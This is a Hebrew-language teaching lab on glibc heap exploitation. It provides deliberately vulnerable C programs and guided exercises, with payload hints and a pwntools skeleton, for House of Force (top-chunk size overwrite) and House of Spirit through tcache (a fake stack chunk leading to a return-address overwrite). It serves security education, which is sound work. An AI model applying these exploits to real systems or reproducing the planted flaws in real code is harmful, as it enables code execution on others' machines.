לדלג לתוכן

7.5 גלישת heap וטכניקות House of תרגול

תרגול - גלישת heap וטכניקות House of

בתרגול הזה תבצעו בעצמכם שתי טכניקות מהמשפחה: House of Force מקצה לקצה, ואז House of Spirit על בינארי שני. המטרה היא לא רק להריץ סקריפט מוכן, אלא לראות במו עיניכם ב-gdb איך ה-top chunk זז ואיך ה-chunk המזויף חוזר מ-malloc. עבדו לפי הסדר - כל תרגיל בונה על הקודם.

הערה חשובה על הסביבה: House of Force עובד רק על glibc 2.28 ומטה. אם אתם על מכונה מודרנית, הריצו את החלק הזה בתוך קונטיינר של Ubuntu 18.04 (או ישן יותר). בדקו את הגרסה עם ldd --version. את החלק של House of Spirit אפשר להריץ על כל glibc עדכני, כי הוא עובד דרך tcache.

הכנה - הבינארי הראשון (House of Force)

צרו קובץ hof.c:

// hof.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() { system("/bin/sh"); }                 // not called in normal flow
void (*hook)(void) __attribute__((aligned(0x10))); // pointer in bss, aligned to 16

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    char *a = malloc(0x18);                        // chunk A; the top is right above it
    printf("[leak] a = %p\n", a);
    printf("[1] overflow: ");
    read(0, a, 0x100);                             // overflow up to the size field of the top
    printf("[2] size: ");
    unsigned long n; scanf("%lu", &n);
    malloc(n);                                     // controlled size - moves the top
    printf("[3] data: ");
    char *p = malloc(0x18);                        // should return &hook
    read(0, p, 0x18);
    if (hook) hook();                              // if hook==win -> shell
    return 0;
}

קמפלו (בלי PIE כדי שהכתובות של win ו-hook יהיו קבועות):

gcc -fno-stack-protector -no-pie -o hof hof.c

תרגיל 1 - למפות את ה-heap

לפני שדורסים, מבינים איפה הכל יושב.

  1. הריצו checksec --file=./hof ואמתו No PIE, NX enabled, No canary.
  2. פתחו את הבינארי ב-gdb, שימו breakpoint אחרי ה-malloc(0x18) הראשון, והריצו heap ב-pwndbg. זהו: את chunk ה-tcache_perthread (בגודל 0x290), את chunk A, ואת ה-top chunk.
  3. השוו את הכתובת של chunk A למה שהתוכנית הדליפה ב-[leak]. אמתו לעצמכם ש-כתובת ה-top chunk שווה ל-leak + 0x10. הסבירו למה (רמז: מה הגודל האמיתי של chunk A?).

רמז: malloc(0x18) מקבל chunk בגודל 0x20 (0x18 נתונים + כותרת, מעוגל ל-16). לכן ה-top יושב 0x20 בתים אחרי כותרת A, שהם 0x10 בתים אחרי ה-mem שleaked.

תרגיל 2 - לדרוס את גודל ה-top

עכשיו הoverflow.

  1. חשבו: כמה בתים צריך לכתוב מ-a (ה-mem של A) כדי להגיע בדיוק לשדה ה-size של ה-top? רמז: prev_size של ה-top יושב ב-a + 0x10, וה-size ב-a + 0x18.
  2. שלחו בשלב [1] מטען שממלא את A ואת ה-prev_size של ה-top, ואז דורס את שדה ה-size ב-0xffffffffffffffff.
  3. שימו breakpoint אחרי ה-read הזה, והריצו שוב heap (או top). ודאו שגודל ה-top עכשיו 0xffffffffffffffff.

רמז: המטען הוא b'A' * 0x18 + p64(0xffffffffffffffff) - בדיוק 0x20 בתים.

תרגיל 3 - להזיז את ה-top ליעד

זה הלב של הטכניקה.

  1. קבעו את היעד: target = elf.symbols['hook'] (השתמשו ב-ELF('./hof')). ודאו שהכתובת aligned ל-16.
  2. חשבו את evil_size = (target - 0x10 - top) & 0xffffffffffffffff. שימו לב שהיעד נמוך מה-heap, אז הערך יוצא ענק - זה תקין.
  3. שלחו את evil_size בשלב [2] (בעשרוני, כי הקוד קורא scanf("%lu")).
  4. שימו breakpoint אחרי ה-malloc(n), ובדקו את מצביע ה-top ב-pwndbg (top). ודאו שהוא נחת בדיוק על target - 0x10.

רמז: אם ה-top נחת ליד היעד אבל לא בדיוק עליו (סטייה של 0x8 או 0x10), זה עיגול של request2size. כווננו את evil_size בהפרש שראיתם וחזרו על הבדיקה.

תרגיל 4 - הפיצוח המלא

חברו הכל.

  1. בשלב [3], כתבו לכתובת שחזרה (שהיא &hook) את p64(elf.symbols['win']).
  2. הריצו את הסקריפט המלא ב-pwntools וקבלו shell (p.interactive()).
  3. הריצו id ו-cat flag.txt כדי לוודא.

רמז: מבנה השלד -

from pwn import *
context.binary = elf = ELF('./hof')
p = process('./hof')
leak = int(p.recvline_startswith(b'[leak]').split(b'= ')[1], 16)
top  = leak + 0x10
target = elf.symbols['hook']
# ... the three steps like in exercises 2-4 ...
p.interactive()

הכנה - הבינארי השני (House of Spirit)

צרו קובץ hos.c:

// hos.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() { system("/bin/sh"); }

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    unsigned long fake[16];
    printf("[stack] fake = %p\n", (void*)fake);   // leak of a stack address
    printf("[1] setup: ");
    read(0, fake, sizeof(fake));                   // drawing a fake chunk here
    printf("[2] free: ");
    unsigned long ptr; scanf("%lu", &ptr);
    free((void*)ptr);                              // free on a pointer we control
    printf("[3] data: ");
    char *q = malloc(0x30);                        // should return the fake chunk
    read(0, q, 0x100);                             // writing from it onward on the stack
    return 0;
}

קמפלו:

gcc -fno-stack-protector -no-pie -o hos hos.c

תרגיל 5 - House of Spirit דרך tcache

  1. בשלב [1], ציירו chunk מזויף: שימו size = 0x41 ב-fake[1] (זה שדה ה-size של chunk שה-mem שלו הוא &fake[2]). את השאר אפשר להשאיר אפסים.
  2. בשלב [2], שחררו את המצביע &fake[2]. חשבו את הכתובת מתוך ה-leak של fake: fake_mem = leak + 0x10. שלחו אותו בעשרוני.
  3. בשלב [3], ה-malloc(0x30) אמור להחזיר את &fake[2]. אמתו ב-gdb שהמצביע שחזר נמצא על המחסנית, בדיוק ב-leak + 0x10.
  4. עכשיו נצלו את זה: מצאו עם cyclic את ה-offset מ-&fake[2] עד return address של main, ודרסו אותה ב-win. קבלו shell.

רמז: size = 0x41 פירושו chunk בגודל 0x40 עם PREV_INUSE דלוק. malloc(0x30) דורש בדיוק גודל 0x40, אז הוא שולף מ-tcache את ה-chunk שלנו. מסלול ה-tcache ב-free כמעט לא בודק - רק alignment וגודל תקין - ולכן אין צורך לצייר "chunk הבא".

רמז שני: כדי למצוא את ה-offset לכתובת החזרה, שלחו cyclic(0x100) בשלב [3], תנו לתוכנית לקרוס, וקראו את ה-offset מה-core (cyclic_find(...)).

תרגיל 6 (חשיבה) - גבולות וגרסאות

  1. הריצו את hof מול glibc 2.31 (Ubuntu 20.04). מה השגיאה שאתם מקבלים בשלב ה-malloc(n)? הסבירו איזו בדיקה תפסה אתכם.
  2. בגרסה ישנה מאוד בלי tcache (glibc 2.23), האם תרגיל 5 היה עובד כמו שהוא? מה עוד הייתם צריכים לצייר ב-fake? רמז: חשבו על ה-chunk הפיזי הבא.
  3. אם ה-bss שלכם היה מקומפל עם PIE, מה היה משתנה ב-exploit של House of Force? איזו leak נוספת הייתם צריכים?

רמז: ב-glibc 2.29+ נוספה הבדיקה malloc(): corrupted top size. ב-glibc 2.23, free של chunk בגודל fastbin בודק גם את ה-size של ה-chunk הפיזי הבא (ב-fake + 0x40), אז הייתם צריכים לשים שם size תקין נוסף (למשל 0x41 ב-fake[9]).